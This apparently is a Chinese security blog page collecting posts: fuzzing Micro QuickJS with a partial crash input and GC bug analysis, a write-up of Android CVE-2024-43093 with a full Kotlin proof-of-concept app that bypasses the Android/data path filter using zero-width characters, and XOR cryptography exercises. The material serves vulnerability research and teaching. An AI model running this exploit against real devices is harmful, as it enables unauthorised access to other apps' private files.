包含关键字 Go 的文章

0. 起因

2025.12.23 传奇程序员 Bellard(Qemu、ffmpeg、QuickJS、TCC... 原作者)发布了他的新作品 Micro QuickJS(mqjs),这是一个用于嵌入式系统上的 JS 引擎。既然是用纯 C 语言实现的,应该会有一些内存损坏漏洞吧。

1. 准备 fuzzer

组件

我决定用 AFL++ 来运行模糊测试。AFL++ 直接使用的话,构造的是逐字节的随机输入,其中大多数都是无意义的乱码(即使配合 cmplog 等)。对于特定语言解释器来说,我们希望构造的输入能够真正被执行。编译原理告诉我们,从人类可读字符串到机器可执行的字节码或机器码需要经历至少三个阶段:词法分析、语法分析、语义分析。完全随机的输入无疑连词法分析都很难通过,更别说语法分析语义分析了。如果构造的输入根本没法运行,那我们就无法触及有关 VM 和 GC(垃圾回收释放内存)相关的更有价值的漏洞。

西电网信院在大二有一门选修课就是编译原理,最后的大作业是 C 语言标准库手搓自定义绘图语言编译器,十分带劲。不过据说从 24 级开始这门课🈚️了。

我感觉从 LLVM pass 上手会更有实用价值一些。

而如果配合 Grammar-Mutator,我们就可以实现语法级的 fuzzing。我们只需要提供这个语言的语法的生成式,自动编译成自定义 mutator。AFL 运行时就会调用它来将先前的 seed 转变为 AST,再随机选择 AST 中的节点,根据生成式变异为另一个节点或子树,最后再根据 AST 生成代码作为新的 seed。(具体可以看这篇文章

当然,编译时 Address Sanitizer 也必不可少(-fsanitize=address)。我试过再加上 UB Sanitizer,但是随便一运行就爆了,难道到处都是 UB?

问题修复

一开始运行 Grammar-Mutator 有时会报错 _pick_non_term_node returns NULL 然后直接退出。不知道为什么它在极罕见情况下会找不到某个非终结符能够用来变异的生成式。

遇到这种情况就不变异吧,直接把整个 AFL 停了真的好吗,,修改代码如下即可:

diff --git a/src/tree_mutation.c b/src/tree_mutation.c
index 68e91f9..62da2ed 100644
--- a/src/tree_mutation.c
+++ b/src/tree_mutation.c
@@ -39,8 +39,10 @@ tree_t *random_mutation(tree_t *tree) {
   if (unlikely(node == NULL)) {
 
     // By design, _pick_non_term_node should not return NULL
-    perror("_pick_non_term_node returns NULL");
-    exit(EXIT_FAILURE);
+    // perror("_pick_non_term_node returns NULL");
+    // exit(EXIT_FAILURE);
+
+    return mutated_tree;
 
   }
 
@@ -203,9 +205,10 @@ tree_t *splicing_mutation(tree_t *tree) {
   if (unlikely(node == NULL)) {
 
     // By design, _pick_non_term_node should not return NULL
-    perror("_pick_non_term_node returns NULL");
-    exit(EXIT_FAILURE);
+    // perror("_pick_non_term_node returns NULL");
+    // exit(EXIT_FAILURE);
 
+    return mutated_tree;
   }
 
   node_t *parent = node->parent;

执行

编写 fuzzing harness 用于 persistent mode,同时按照 Grammar-Mutator 的官方文档编译好 mutator library,自动生成初始种子。我们在 aflplusplus/aflplusplus docker container 里用以下参数运行 AFL:

while true; do AFL_DISABLE_TRIM=1 AFL_CUSTOM_MUTATOR_LIBRARY=./libgrammarmutator-javascript.so AFL_USE_ASAN=1 afl-fuzz -i seeds/ -o out/ -b 2 -a text -G 1024 -t 200 -S asan -- ./mjs_harness_asan; sleep 1; done

运行过程中我总结了一些经验:

  • 我选择关闭 ptrim,因为对于语法级 fuzzing,trim 反而会丢失复杂的结构,使之后的变异难以发现新的分支。
  • 加上超时是对的,但是不能太低,跑得慢的 seed 反而更有价值(复杂的 GC 行为)。
  • Grammar-Mutator 根据 AST 进行变异像是一个无限深度递归,所以 cycles 几乎不会增长,这是正常的。

2. Fuzzing 结果

大约 11 小时后,第一批 crashes 出现了:

a0decb4d5ac7fed0f095f124b7c2f22e.png

id 000000 内容大概是:

var a = [];
var b = [];
var c = [];
var d = [];
(Infinity**((((a+(((((((((((((((((((((new Float64Array(0,0/0,0,{g: false})))))))))))))))))))))==(~0)))))));
function Float64Array(console, EvalError,Int16Array,Reflect,NaN){
new Float64Array(false,TypeError[[[((((((((((((((((((((((((((((((((((((((((((((((((((((d.concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat((((--b) >>> -0)),(((--b) >>> -0)),(((--b) >>> 
// 暂不完整公开 ...

可以看到其中有明显的无限递归,另外还有大量的 concat,这无疑同时给堆和栈带来了巨大的内存分配压力,也就很可能出现 GC 相关的漏洞。

对此,Address Sanitizer 的评价是:

=================================================================
==1599335==ERROR: AddressSanitizer: negative-size-param: (size=-2112)
    #0 0x55f81ffe8449 in __asan_memmove (/home/rik/Desktop/crashes/mjs_harness_asan+0x17e449) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #1 0x55f8200c1be2 in JS_MakeUniqueString /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:2032:5
    #2 0x55f8200aab94 in JS_ToPropertyKey /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:4193:16
    #3 0x55f8200aab94 in JS_Call /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:6009:28
    #4 0x55f82011a802 in JS_Run /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:11799:11
    #5 0x55f82003e19b in LLVMFuzzerTestOneInput /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/fuzz_harness.c:140:15
    #6 0x55f820038c59 in ExecuteFilesOnyByOne (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cec59) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #7 0x55f820038a38 in LLVMFuzzerRunDriver (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cea38) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #8 0x55f8200385c6 in main (/home/rik/Desktop/crashes/mjs_harness_asan+0x1ce5c6) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #9 0x7f24f4027634 in __libc_start_call_main /usr/src/debug/glibc/glibc/csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #10 0x7f24f40276e8 in __libc_start_main /usr/src/debug/glibc/glibc/csu/../csu/libc-start.c:360:3
    #11 0x55f81feef3e4 in _start (/home/rik/Desktop/crashes/mjs_harness_asan+0x853e4) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)

0x7f24f0c4f8b8 is located 327864 bytes inside of 4194304-byte region [0x7f24f0bff800,0x7f24f0fff800)
allocated by thread T0 here:
    #0 0x55f81ffeb905 in malloc (/home/rik/Desktop/crashes/mjs_harness_asan+0x181905) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)
    #1 0x55f82003cee9 in LLVMFuzzerTestOneInput /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/fuzz_harness.c:112:21
    #2 0x55f820038c59 in ExecuteFilesOnyByOne (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cec59) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4)

SUMMARY: AddressSanitizer: negative-size-param (/home/rik/Desktop/crashes/mjs_harness_asan+0x17e449) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) in __asan_memmove
==1599335==

负数 size?

过了一会,又出现了七百多个崩溃,我想是时候开始分析了。

3. 分析 crashes

Micro QuickJS 的 GC 过程如下:

先将整个堆扫描一遍来标记需要释放的对象(JS_MTAG_FREE),

/* 'size' is in bytes and must be multiple of JSW and > 0 */
static void set_free_block(void *ptr, uint32_t size)
{
    JSFreeBlock *p;
    p = (JSFreeBlock *)ptr;
    p->mtag = JS_MTAG_FREE;
    p->gc_mark = 0;
    p->size = (size - sizeof(JSFreeBlock)) / sizeof(JSWord);
}

然后在 JS_GC2 中使用 Jonkers 算法来释放内存(gc_compact_heap)。具体来说,就是把所有不是 JS_MTAG_FREE 标记的对象都向低地址移,填补所有 JS_MTAG_FREE 对象带来的空洞。

    /* pass 2: update the threaded pointers and move the block to its
       final position */
    new_ptr = ctx->heap_base;
    ptr = ctx->heap_base;
    while (ptr < ctx->heap_free) {
        gc_update_threaded_pointers(ctx, ptr, new_ptr);
        size = get_mblock_size(ptr);
        if (js_get_mtag(ptr) != JS_MTAG_FREE) {
            if (new_ptr != ptr) {
                memmove(new_ptr, ptr, size);
            }
            new_ptr += size;
        }
        ptr += size;
    }
    ctx->heap_free = new_ptr;

一个很关键的问题是,这样的 GC 有可能会移动对象的位置,所以 GC 的下一步是修改引用方的指针到移动后的位置。不在 JS VM 栈中的对象指针(例如在裸 C 数组里的 JS 对象指针)就无法被追踪到,它们就会立刻沦为垂悬指针。所以在编写 mqjs 期间需要时刻注意哪些函数可能触发 GC,并将临时变量推入 JS VM 栈中。

这几百个崩溃几乎都是因为没有注意到可能 GC 的函数导致的。例如 2 中提到的崩溃,

static JSValue JS_MakeUniqueString(JSContext *ctx, JSValue val) {
    // ...
    
    arr = JS_VALUE_TO_PTR( ctx->unique_strings);
    val1 = find_atom(ctx, &a, arr, ctx->unique_strings_len, val); 
    if (!JS_IsNull(val1))
        return val1;
    
    JS_PUSH_VALUE(ctx, val);
    is_numeric = js_is_numeric_string(ctx, val);
    JS_POP_VALUE(ctx, val);
    if (is_numeric < 0)
        return JS_EXCEPTION;
    
    /* not found: add it in the table */
    JS_PUSH_VALUE(ctx, val);
    new_tab = js_resize_value_array(ctx, ctx->unique_strings,
                                 ctx->unique_strings_len + 1);
    JS_POP_VALUE(ctx, val);
    if (JS_IsException(new_tab))
        return JS_EXCEPTION;
    ctx->unique_strings = new_tab;
    arr = JS_VALUE_TO_PTR( ctx->unique_strings);
    memmove(&arr->arr[a + 1], &arr->arr[a],
            sizeof(arr->arr[0]) * (ctx->unique_strings_len - a));
    
    // ...
}

可以看到 JS_MakeUniqueString 首先从 ctx->unique_strings 中搜索(find_atom)相同字符串的索引(a)。这是一种常见的优化,在创建任何字符串前都在一个字符串表里检查有没有重复字符串,如果有就直接使用它如果没有再分配新空间并插入表中,避免重复浪费内存。但是由于 ctx->unique_strings_lenfind_atommemmove 之间减小了(被 GC 清理了一部分),所以 ctx->unique_strings_len - a 变成了负数!(a 应该永远小于 ctx->unique_strings_len。)其中 js_is_numeric_stringjs_resize_value_array 都有可能触发 GC(主要是 js_is_numeric_string)。

按照以上思路,我们还能找到其他 GC UAF 漏洞,甚至可利用的漏洞。事实上,我们可以修改 mqjs 源码,使其在每次申请内存前都执行一次 GC,这样能更高效地挖掘出类似的漏洞,无需等待 AFL 随机出有 GC 压力的 seed。(这应该是一个通用的技巧)

4. 利用

...

5. 修复

对于 2 中提到的崩溃,比较简单的修复方案就是在 memmove 前再执行一次 find_atom 定位插入位置。另外 js_is_numeric_string 也不应该需要 O(n) 空间复杂度。

...

简介

CVE‑2024‑43093 是一个 Android 框架组件中的权限提升漏洞,其成因核心是文件路径过滤器在处理包含 Unicode 字符的路径时存在逻辑问题。出人意料的是,至今仍有不少安卓设备没有修复这个漏洞。使用 DuckDetector 可以检测这个漏洞在当前设备上是否修补。

成因

产生问题的代码位于 com/android/externalstorage/ExternalStorageProvider.java 中的 shouldHideDocument 函数。路径检查逻辑首先对文件路径进行规范化,本意是为了能正确匹配过滤规则,防止特殊字符注入。但是这种规范化不能防范所有字符的情况,例如零宽空格。如果在访问路径中插入零宽空格,那么就能绕过这个过滤规则,读写 /sdcard/Android/{data,obb}/<package> 任意目录。

修复

Google 早在 2024 年已尝试修复这个漏洞,将路径过滤规则从简单的正则匹配改为使用 Java File 逐级遍历验证路径是否相同,但仍然无法阻挡这个漏洞。修复 patch diff 如下:

@@ -16,8 +16,6 @@
 
 package com.android.externalstorage;
 
-import static java.util.regex.Pattern.CASE_INSENSITIVE;
-
 import android.annotation.NonNull;
 import android.annotation.Nullable;
 import android.app.usage.StorageStatsManager;
@@ -61,12 +59,15 @@
 import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.PrintWriter;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.List;
 import java.util.Locale;
 import java.util.Objects;
 import java.util.UUID;
-import java.util.regex.Pattern;
+import java.util.stream.Collectors;
 
 /**
  * Presents content of the shared (a.k.a. "external") storage.
@@ -89,12 +90,9 @@
     private static final Uri BASE_URI =
             new Uri.Builder().scheme(ContentResolver.SCHEME_CONTENT).authority(AUTHORITY).build();
 
-    /**
-     * Regex for detecting {@code /Android/data/}, {@code /Android/obb/} and
-     * {@code /Android/sandbox/} along with all their subdirectories and content.
-     */
-    private static final Pattern PATTERN_RESTRICTED_ANDROID_SUBTREES =
-            Pattern.compile("^Android/(?:data|obb|sandbox)(?:/.+)?", CASE_INSENSITIVE);
+    private static final String PRIMARY_EMULATED_STORAGE_PATH = "/storage/emulated/";
+
+    private static final String STORAGE_PATH = "/storage/";
 
     private static final String[] DEFAULT_ROOT_PROJECTION = new String[] {
             Root.COLUMN_ROOT_ID, Root.COLUMN_FLAGS, Root.COLUMN_ICON, Root.COLUMN_TITLE,
@@ -309,11 +307,70 @@
             return false;
         }
 
-        final String path = getPathFromDocId(documentId);
-        return PATTERN_RESTRICTED_ANDROID_SUBTREES.matcher(path).matches();
+        try {
+            final RootInfo root = getRootFromDocId(documentId);
+            final String canonicalPath = getPathFromDocId(documentId);
+            return isRestrictedPath(root.rootId, canonicalPath);
+        } catch (Exception e) {
+            return true;
+        }
     }
 
     /**
+     * Based on the given root id and path, we restrict path access if file is Android/data or
+     * Android/obb or Android/sandbox or one of their subdirectories.
+     *
+     * @param canonicalPath of the file
+     * @return true if path is restricted
+     */
+    private boolean isRestrictedPath(String rootId, String canonicalPath) {
+        if (rootId == null || canonicalPath == null) {
+            return true;
+        }
+
+        final String rootPath;
+        if (rootId.equalsIgnoreCase(ROOT_ID_PRIMARY_EMULATED)) {
+            // Creates "/storage/emulated/<user-id>"
+            rootPath = PRIMARY_EMULATED_STORAGE_PATH + UserHandle.myUserId();
+        } else {
+            // Creates "/storage/<volume-uuid>"
+            rootPath = STORAGE_PATH + rootId;
+        }
+        List<java.nio.file.Path> restrictedPathList = Arrays.asList(
+                Paths.get(rootPath, "Android", "data"),
+                Paths.get(rootPath, "Android", "obb"),
+                Paths.get(rootPath, "Android", "sandbox"));
+        // We need to identify restricted parent paths which actually exist on the device
+        List<java.nio.file.Path> validRestrictedPathsToCheck = restrictedPathList.stream().filter(
+                Files::exists).collect(Collectors.toList());
+
+        boolean isRestricted = false;
+        java.nio.file.Path filePathToCheck = Paths.get(rootPath, canonicalPath);
+        try {
+            while (filePathToCheck != null) {
+                for (java.nio.file.Path restrictedPath : validRestrictedPathsToCheck) {
+                    if (Files.isSameFile(restrictedPath, filePathToCheck)) {
+                        isRestricted = true;
+                        Log.v(TAG, "Restricting access for path: " + filePathToCheck);
+                        break;
+                    }
+                }
+                if (isRestricted) {
+                    break;
+                }
+
+                filePathToCheck = filePathToCheck.getParent();
+            }
+        } catch (Exception e) {
+            Log.w(TAG, "Error in checking file equality check.", e);
+            isRestricted = true;
+        }
+
+        return isRestricted;
+    }
+
+
+    /**
      * Check that the directory is the root of storage or blocked file from tree.
      * <p>
      * Note, that this is different from hidden documents: blocked documents <b>WILL</b> appear

后来 Google 也尝试直接在内核中修改 F2FS 文件系统,但也未能完成修复。(据说还因把 F2FS 弄坏了被 Linus 批评。)真正的修复可以参考 5ec1cff 编写的 Xposed 模块。我用 jadx 逆向分析了一下,这个模块在 Xposed entry 中对 com.android.providers.media.module 注入了一个动态链接库 fusefixer.so

    public void handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam) {
        if ("com.android.providers.media.module".equals(loadPackageParam.packageName) || "com.google.android.providers.media.module".equals(loadPackageParam.packageName)) {
            System.loadLibrary("fusefixer");
            Log.d("FuseFixer", "injected");
            new Handler(Looper.getMainLooper()).post(new RunnableC0016i(0, this));
        }
    }

在其中又 hook 了 libfuse_jni.so 中的 is_package_owned_pathis_app_accessible_pathis_bpf_backing_path。替换后的函数做了以下操作:

  1. 先判断输入字符串是否包含需要处理的 Unicode 字符;
  2. 如果需要处理,复制出一份可写字符串,扫描该字符串并移除非法字符;
  3. 调用原始函数,修改传入参数为清洗后的字符串。

据说 Google 在 2026 年一月更新中再次修补了这个漏洞,等我的设备收到更新后我将再次验证。

复现

由于这是一个披露已久的漏洞,所以应该可以展示复现过程。其实只需要简单编写一个类似文件管理器的程序(我这里选用 Jetpack Compose 框架),让用户输入路径支持 Unicode 转义符或自行插入零宽 Unicode 字符就可以了。我在目前最新的澎湃 OS 3.0.5.0 仍能成功复现这个漏洞。

package cn.pwnerik.pathescape

import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.enableEdgeToEdge
import androidx.compose.foundation.clickable
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.lazy.LazyColumn
import androidx.compose.foundation.lazy.items
import androidx.compose.material3.*
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.text.TextRange
import androidx.compose.ui.text.input.TextFieldValue
import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp
import cn.pwnerik.pathescape.ui.theme.PathEscapeTheme
import java.io.File

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        setContent {
            PathEscapeTheme {
                Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding ->
                    FileExplorer(
                        modifier = Modifier.padding(innerPadding)
                    )
                }
            }
        }
    }
}

fun unescapeUnicode(input: String): String {
    val regex = Regex("\\\\u([0-9a-fA-F]{4})")
    return regex.replace(input) {
        try {
            it.groupValues[1].toInt(16).toChar().toString()
        } catch (_: Exception) {
            it.value
        }
    }
}

fun escapeUnicode(input: String): String {
    val sb = StringBuilder()
    for (char in input) {
        if (char.code !in 32..126) {
            sb.append(String.format("\\u%04x", char.code))
        } else {
            sb.append(char)
        }
    }
    return sb.toString()
}

@Composable
fun FileExplorer(modifier: Modifier = Modifier) {
    var pathValue by remember { mutableStateOf(TextFieldValue("")) }
    var files by remember { mutableStateOf(listOf<File>()) }
    var parentDir by remember { mutableStateOf<File?>(null) }
    var errorMessage by remember { mutableStateOf<String?>(null) }
    var hasStarted by remember { mutableStateOf(false) }

    fun listFiles(path: String) {
        val decodedPath = unescapeUnicode(path)
        val directory = File(decodedPath)
        
        // Always update the input box to show the normalized escaped path
        val escapedPath = escapeUnicode(directory.absolutePath)
        pathValue = TextFieldValue(
            text = escapedPath,
            selection = TextRange(escapedPath.length)
        )

        try {
            if (directory.exists() && directory.isDirectory) {
                val list = directory.listFiles()
                files = list?.toList()?.sortedWith(compareBy({ !it.isDirectory }, { it.name.lowercase() })) ?: emptyList()
                parentDir = directory.parentFile
                errorMessage = null
                hasStarted = true
            } else {
                errorMessage = "无效的目录路径: $decodedPath"
                files = emptyList()
                parentDir = null
            }
        } catch (e: Exception) {
            errorMessage = "错误: ${e.message}"
            files = emptyList()
            parentDir = null
        }
    }

    fun insertAtCursor(textToInsert: String) {
        val text = pathValue.text
        val selection = pathValue.selection
        val newText = text.take(selection.start) + textToInsert + text.substring(selection.end)
        val newCursorPosition = selection.start + textToInsert.length
        pathValue = TextFieldValue(
            text = newText,
            selection = TextRange(newCursorPosition)
        )
    }

    Column(
        modifier = modifier
            .fillMaxSize()
            .padding(16.dp)
    ) {
        Row(
            modifier = Modifier.fillMaxWidth(),
            verticalAlignment = Alignment.CenterVertically
        ) {
            TextField(
                value = pathValue,
                onValueChange = { pathValue = it },
                modifier = Modifier.weight(1f),
                label = { Text("目录路径") },
                singleLine = true
            )
            Spacer(modifier = Modifier.width(8.dp))
            Button(onClick = { listFiles(pathValue.text) }) {
                Text("列出")
            }
        }

        Spacer(modifier = Modifier.height(8.dp))

        Row(
            modifier = Modifier.fillMaxWidth(),
            horizontalArrangement = Arrangement.spacedBy(8.dp)
        ) {
            OutlinedButton(onClick = { insertAtCursor("/storage/emulated/0") }) {
                Text("主目录")
            }
            OutlinedButton(onClick = { insertAtCursor("\\u200d") }) {
                Text("零宽空格")
            }
            OutlinedButton(onClick = { pathValue = TextFieldValue("", TextRange.Zero) }) {
                Text("清空")
            }
        }

        Spacer(modifier = Modifier.height(16.dp))

        if (errorMessage != null) {
            Text(
                text = errorMessage!!,
                color = MaterialTheme.colorScheme.error,
                modifier = Modifier.padding(bottom = 8.dp)
            )
        }

        LazyColumn(modifier = Modifier.fillMaxSize()) {
            // Add parent directory link if not at root and after first listing
            if (hasStarted && parentDir != null) {
                item {
                    FileItem(
                        name = "..",
                        isDirectory = true,
                        onClick = { listFiles(parentDir!!.absolutePath) }
                    )
                    HorizontalDivider(modifier = Modifier.padding(vertical = 4.dp), thickness = 0.5.dp)
                }
            }
            
            items(files) { file ->
                FileItem(
                    name = file.name,
                    isDirectory = file.isDirectory,
                    onClick = {
                        if (file.isDirectory) {
                            listFiles(file.absolutePath)
                        }
                    }
                )
                HorizontalDivider(modifier = Modifier.padding(vertical = 4.dp), thickness = 0.5.dp)
            }
        }
    }
}

@Composable
fun FileItem(name: String, isDirectory: Boolean, onClick: () -> Unit) {
    val type = if (isDirectory) "[目录] " else "[文件] "
    Text(
        text = "$type$name",
        modifier = Modifier
            .fillMaxWidth()
            .clickable(onClick = onClick)
            .padding(vertical = 12.dp),
        style = MaterialTheme.typography.bodyLarge
    )
}

@Preview(showBackground = true)
@Composable
fun FileExplorerPreview() {
    PathEscapeTheme {
        FileExplorer()
    }
}

复现截图

题目一

地址:https://www.coursera.org/learn/crypto/assignment-submission/KZ9js/week-1-programming-assignment-optional/attempt

​ 题目使用同一个流密码密钥加密得到 10 个密文,加密方式是逐字节异或,目标是通过这 10 个密文得到密钥以解出第 11 个密文。

​ 已知消息 M、密钥 K,异或加密的过程是

$$ C=M\oplus K $$

得到密文 C。异或是自反的运算,所以解密与加密过程相同

$$ M=C\oplus K $$

​ 对于同一个密钥 K 加密的两个密文 C_1、C_2,如果将两者异或可以得到

$$ B=C_1\oplus C_2=M_1\oplus K\oplus M_2\oplus K=M_1\oplus M_2 $$

字节流B是两消息逐字节异或结果。

​ 我们首先导入这些密文和加密方法

msg_1 = bytes.fromhex('315c4eeaa8b5f8aaf9174145bf43e1784b8fa00dc71d885a804e5ee9fa40b16349c146fb778cdf2d3aff021dfff5b403b510d0d0455468aeb98622b137dae857553ccd8883a7bc37520e06e515d22c954eba5025b8cc57ee59418ce7dc6bc41556bdb36bbca3e8774301fbcaa3b83b220809560987815f65286764703de0f3d524400a19b159610b11ef3e')
msg_2 = bytes.fromhex('234c02ecbbfbafa3ed18510abd11fa724fcda2018a1a8342cf064bbde548b12b07df44ba7191d9606ef4081ffde5ad46a5069d9f7f543bedb9c861bf29c7e205132eda9382b0bc2c5c4b45f919cf3a9f1cb74151f6d551f4480c82b2cb24cc5b028aa76eb7b4ab24171ab3cdadb8356f')
msg_3 = bytes.fromhex('32510ba9a7b2bba9b8005d43a304b5714cc0bb0c8a34884dd91304b8ad40b62b07df44ba6e9d8a2368e51d04e0e7b207b70b9b8261112bacb6c866a232dfe257527dc29398f5f3251a0d47e503c66e935de81230b59b7afb5f41afa8d661cb')
msg_4 = bytes.fromhex('32510ba9aab2a8a4fd06414fb517b5605cc0aa0dc91a8908c2064ba8ad5ea06a029056f47a8ad3306ef5021eafe1ac01a81197847a5c68a1b78769a37bc8f4575432c198ccb4ef63590256e305cd3a9544ee4160ead45aef520489e7da7d835402bca670bda8eb775200b8dabbba246b130f040d8ec6447e2c767f3d30ed81ea2e4c1404e1315a1010e7229be6636aaa')
msg_5 = bytes.fromhex('3f561ba9adb4b6ebec54424ba317b564418fac0dd35f8c08d31a1fe9e24fe56808c213f17c81d9607cee021dafe1e001b21ade877a5e68bea88d61b93ac5ee0d562e8e9582f5ef375f0a4ae20ed86e935de81230b59b73fb4302cd95d770c65b40aaa065f2a5e33a5a0bb5dcaba43722130f042f8ec85b7c2070')
msg_6 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd2061bbde24eb76a19d84aba34d8de287be84d07e7e9a30ee714979c7e1123a8bd9822a33ecaf512472e8e8f8db3f9635c1949e640c621854eba0d79eccf52ff111284b4cc61d11902aebc66f2b2e436434eacc0aba938220b084800c2ca4e693522643573b2c4ce35050b0cf774201f0fe52ac9f26d71b6cf61a711cc229f77ace7aa88a2f19983122b11be87a59c355d25f8e4')
msg_7 = bytes.fromhex('32510bfbacfbb9befd54415da243e1695ecabd58c519cd4bd90f1fa6ea5ba47b01c909ba7696cf606ef40c04afe1ac0aa8148dd066592ded9f8774b529c7ea125d298e8883f5e9305f4b44f915cb2bd05af51373fd9b4af511039fa2d96f83414aaaf261bda2e97b170fb5cce2a53e675c154c0d9681596934777e2275b381ce2e40582afe67650b13e72287ff2270abcf73bb028932836fbdecfecee0a3b894473c1bbeb6b4913a536ce4f9b13f1efff71ea313c8661dd9a4ce')
msg_8 = bytes.fromhex('315c4eeaa8b5f8bffd11155ea506b56041c6a00c8a08854dd21a4bbde54ce56801d943ba708b8a3574f40c00fff9e00fa1439fd0654327a3bfc860b92f89ee04132ecb9298f5fd2d5e4b45e40ecc3b9d59e9417df7c95bba410e9aa2ca24c5474da2f276baa3ac325918b2daada43d6712150441c2e04f6565517f317da9d3')
msg_9 = bytes.fromhex('271946f9bbb2aeadec111841a81abc300ecaa01bd8069d5cc91005e9fe4aad6e04d513e96d99de2569bc5e50eeeca709b50a8a987f4264edb6896fb537d0a716132ddc938fb0f836480e06ed0fcd6e9759f40462f9cf57f4564186a2c1778f1543efa270bda5e933421cbe88a4a52222190f471e9bd15f652b653b7071aec59a2705081ffe72651d08f822c9ed6d76e48b63ab15d0208573a7eef027')
msg_10 = bytes.fromhex('466d06ece998b7a2fb1d464fed2ced7641ddaa3cc31c9941cf110abbf409ed39598005b3399ccfafb61d0315fca0a314be138a9f32503bedac8067f03adbf3575c3b8edc9ba7f537530541ab0f9f3cd04ff50d66f1d559ba520e89a2cb2a83')

msg_target = bytes.fromhex('32510ba9babebbbefd001547a810e67149caee11d945cd7fc81a05e9f85aac650e9052ba6a8cd8257bf14d13e6f0a803b54fde9e77472dbff89d71b57bddef121336cb85ccb8f3315f4b52e301d16e9f52f904')

msgs = [msg_1, msg_2, msg_3, msg_4, msg_5, msg_6, msg_7, msg_8, msg_9, msg_10]

def bytesxor(a, b):
    if len(a) > len(b):
       return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
       return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])

根据前文理论,我们先尝试异或 msg_1msg_2,结果是

b'\x12\x10L\x06\x13NW\t\x14\x0f\x10O\x02R\x1b\n\x04B\x02\x0cM\x07\x0b\x18OH\x15T\x1f\x08\x00HN\x1e\x02A\x06\x1d\x06MT\x0b\n\x02\x02\x10\x19E\x10\x16MO:\x00SC\x00NC\x0e\x1e\x1d\nRF\x12\x17\x1b\x01\x17\x00\x1b\x0eEC\x1c\x0c\x1d\x16\nR\r\x11tN\x19\x06\x1a\x11M\x0eU\x17O\x08NT7\x14\x05\x0b\x17CST\x1bH\x07\x0e\x00\x0eM'

我们不使用十六进制格式输出,是因为需要观察其中有一些大写或小写英文字母。根据题目,明文是 ASCII 英语句子,其中大部分符号都是大小写英文字母和空格。我们需要知道一个特殊的规律

$$ ASCII(大/小写字母)\oplus ASCII(空格)=ASCII(小/大写字母) $$

英文字母的 ASCII 值与空格的 ASCII 值异或得到的 ASCII 值相当于切换原字母的大小写

根据以上规律,我们十个中的一个密文 C,与其余九个密文逐字节异或,得到九个字节流 B_i,观察其中相同索引 j(位置)的字节 b_k,如果这九个字节几乎都是英文字母,那么我们选取的密文 C 的索引 j 处的字节 C[j] 的明文就大概是空格。此时我们有

$$ C[j]\oplus ASCII(空格)=K[j] $$

从而有可能还原出一个字节的密钥。如果密文足够多足够长,重复上述过程可以还原完整的密钥。

key = [0] * len(msg_7) # `msg_7` is the longest ciphertext.

def isalpha(b):
    return (ord('a') <= b <= ord('z')) or (ord('A') <= b <= ord('Z'))

for i, msg_i in enumerate(msgs):
    may_not_space = [0] * len(msg_i) # Count cases when b_k is not alphabetic.
    for j, msg_j in enumerate(msgs):
        if i != j:
            xored = bytesxor(msg_i, msg_j)
            for k, xb in enumerate(xored):
                if (not isalpha(xb)) and xb != 0:
                    may_not_space[k] += 1
    
    for j, may_not in enumerate(may_not_space):
        if may_not <= 2: # If almost all b_k are alphabetic
            key_byte = msg_i[j] ^ ord(' ')
            if key[j] == 0:
                key[j] = key_byte
                continue
            
            if key[j] != key_byte: # Detect contradiction. Do more checks.
                reliable = True
                for m in msgs:
                    if j >= len(m):
                        continue
                    byte = m[j] ^ key_byte
                    if not isalpha(byte) and byte != ord(' '):
                        reliable = False
                        break
                if reliable:
                    key[j] = key_byte

print(f'Recovered key: {key}')
print(f'Target message: {bytesxor(bytes(key), msg_target)}')
# for msg in msgs:
#     print(bytesxor(msg, bytes(key)))

# Target message: b'The secuet message\xeeis: Wh\x1an using a ~tream cipher,.never\xf8use the key more than once'

题目二

地址:https://www.cryptopals.com/sets/1

1. Convert hex to base64

from base64 import b64encode

print(b64encode(bytes.fromhex('49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d')).decode())

2. Fixed XOR

def bytesxor(a, b):
    if len(a) > len(b):
       return bytes([x ^ y for (x, y) in zip(a[:len(b)], b)])
    else:
       return bytes([x ^ y for (x, y) in zip(a, b[:len(a)])])

print(bytesxor(bytes.fromhex('1c0111001f010100061a024b53535009181c'), bytes.fromhex('686974207468652062756c6c277320657965')).hex())

